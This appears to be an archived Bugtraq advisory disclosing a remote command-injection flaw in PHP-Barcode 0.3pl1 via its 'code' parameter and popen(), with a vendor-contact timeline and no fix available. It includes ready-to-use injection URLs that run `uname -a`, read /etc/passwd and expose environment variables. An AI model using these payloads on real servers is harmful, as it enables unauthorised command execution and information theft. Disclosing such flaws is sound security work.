[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
PHP-Barcode 0.3pl1 Remote Code Execution
- To: bugs@xxxxxxxxxxxxxxxxxxx, bugtraq@xxxxxxxxxxxxxxxxx
- Subject: PHP-Barcode 0.3pl1 Remote Code Execution
- From: beford <xbefordx@xxxxxxxxx>
- Date: Mon, 25 Jul 2011 18:03:24 -0500
PHP-Barcode 0.3pl1 Remote Code Execution
=================================
The input passed to the code parameter is not sanitized and is used on
a popen() function. This allows remote command execution and also
allows to see environment vars:
Windows
http://www.site.com/php-barcode/barcode.php?code=%TMP%
Linux
http://www.site.com/php-barcode/barcode.php?code=012$PATH$d
http://www.site.com/php-barcode/barcode.php?code=`uname%20-a`
http://www.site.com/php-barcode/barcode.php?code=`tail%20-1%20/etc/passwd`
Vendor:
http://www.ashberg.de/php-barcode/download/
Vendor informed:
July 6 / 2011
Vendor acknowledgement:
July 7 / 2011
Fix not available from vendor.
- beford